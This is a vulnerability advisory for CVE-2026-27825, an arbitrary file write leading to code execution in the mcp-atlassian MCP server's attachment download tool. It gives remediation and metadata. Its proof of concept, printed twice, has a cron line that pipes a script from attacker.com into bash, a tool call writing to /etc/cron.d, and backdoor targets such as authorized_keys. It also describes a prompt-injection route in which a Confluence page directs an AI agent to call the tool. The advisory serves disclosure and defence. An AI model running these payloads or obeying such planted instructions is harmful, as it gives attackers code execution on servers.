CVE-2026-27825: Mcp atlassian MCP Atlassian Has An Arbitrary Vulnerability

CRITICAL
Advisory Identifier: GHSA-xjgw-4wvw-rgm4
CVSS 9.0
CWE-73 CWE-22
Published
Advisory Summary

CVE-2026-27825 is a CRITICAL (CVSS 9.0) mcp atlassian has an arbitrary vulnerability (CWE-73: External Control of File Name or Path) affecting Mcp atlassian libraries in the PyPI ecosystem. The issue involves mcp atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment. Remediation is available by upgrading affected packages to version 0.17.0.

CVE-2026-27825 at a Glance

CVE Identifier CVE-2026-27825
GHSA Identifier GHSA-xjgw-4wvw-rgm4
Severity CRITICAL
CVSS v3.1 Base Score 9.0
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Mcp atlassian
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-27825

To remediate this vulnerability, upgrade all affected Mcp atlassian dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-atlassian fixed: 0.17.0
pip install mcp-atlassian>=0.17.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mcp-atlassian

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-27825, inspect your installed packages using pip:

pip show mcp-atlassian

Analyze the terminal output to locate any version of Mcp atlassian in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.17.0), your application is affected.

Note: The pip show mcp-atlassian command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Mcp atlassian, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). ### Details The tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction: ```python download_path: Annotated[ str, Field( description=( "Full path where the file should be saved. Can be absolute or relative. " "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. " "Parent directory will be created if it doesn't exist." ) ), ], The implementation at src/mcp_atlassian/confluence/attachments.py:183–200: if not os.path.isabs(target_path): target_path = os.path.abspath(target_path) # normalizes path, no restriction os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory with open(target_path, "wb") as f: # writes to any writable path for chunk in response.iter_content(chunk_size=8192): f.write(chunk) os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389). ### PoC Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to. Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment: * * * * * root curl http://attacker.com/shell.sh | bash Step 2 — Call the tool with a sensitive write target: { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "<page id hosting the malicious attachment>", "attachment_id": "<attachment id>", "download_path": "/etc/cron.d/mcp-backdoor" } }, "id": 1 } The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required. Alternative potential write targets demonstrating broader impact: - /home/<user>/.ssh/authorized_keys - persistent SSH backdoor - <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import - ~/.bashrc - code execution on next user login ### Impact An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change. In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary. Example potential RCE paths: 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart. 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access. 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.

CVE-2026-27825 Affected Mcp atlassian Versions

1 component(s)
Fixed Versions:
0.17.0
Product / Package Ecosystem Affected Versions Fixed Version
mcp-atlassian
PyPI
< 0.17.0
0.17.0

References

Frequently Asked Questions

What is CVE-2026-27825?
CVE-2026-27825 is a security vulnerability in Mcp atlassian involving MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment under CWE-73: External Control of File Name or Path.
Which Mcp atlassian versions are affected?
Affected versions include releases prior to 0.17.0 across affected packages: mcp-atlassian.
What version fixes CVE-2026-27825?
Upgrading to 0.17.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-atlassian affected?
Yes, mcp-atlassian is affected in releases prior to 0.17.0. Upgrade your dependency to 0.17.0 or later.
What is the CVSS score of CVE-2026-27825?
CVE-2026-27825 has a CVSS v3.1 base score of 9.0 (CRITICAL) with vector string CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-27825?
CVE-2026-27825 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check PyPI dependencies for CVE-2026-27825?
Run the dependency tree command: 'pip show mcp-atlassian'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xjgw-4wvw-rgm4",
  "modified" : "2026-03-10T18:56:07Z",
  "published" : "2026-03-10T18:56:07Z",
  "aliases" : [ "CVE-2026-27825" ],
  "summary" : "MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment",
  "details" : "### Summary\nThe `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).\n\n\n### Details\nThe tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:\n\n  ```python\n  download_path: Annotated[\n      str,\n      Field(\n          description=(\n              \"Full path where the file should be saved. Can be absolute or relative. \"\n              \"Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\\\\\temp\\\\\\\\file.docx'. \"\n              \"Parent directory will be created if it doesn't exist.\"\n          )\n      ),\n  ],\n\n The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:\n\n  if not os.path.isabs(target_path):\n      target_path = os.path.abspath(target_path)  # normalizes path, no restriction\n\n  os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory\n  with open(target_path, \"wb\") as f:                        # writes to any writable path\n      for chunk in response.iter_content(chunk_size=8192):\n          f.write(chunk)\n\n os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).\n\n\n### PoC\nPrerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.\n\nStep 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:\n\n  * * * * * root curl http://attacker.com/shell.sh | bash\n\nStep 2 — Call the tool with a sensitive write target:\n\n  {\n      \"jsonrpc\": \"2.0\",\n      \"method\": \"tools/call\",\n      \"params\": {\n          \"name\": \"confluence_download_attachment\",\n          \"arguments\": {\n              \"page_id\": \"<page id hosting the malicious attachment>\",\n              \"attachment_id\": \"<attachment id>\",\n              \"download_path\": \"/etc/cron.d/mcp-backdoor\"\n          }\n      },\n      \"id\": 1\n  }\n\nThe attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.\n\nAlternative potential write targets demonstrating broader impact:\n  - /home/<user>/.ssh/authorized_keys - persistent SSH backdoor\n  - <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import\n  - ~/.bashrc - code execution on next user login\n\n### Impact\nAn attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.\n\nIn enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.\n\nExample potential RCE paths:\n 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required\n 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart.\n 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.\n 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-atlassian"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.17.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sooperset/mcp-atlassian"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-10T18:56:07Z",
    "nvd_published_at" : null
  }
}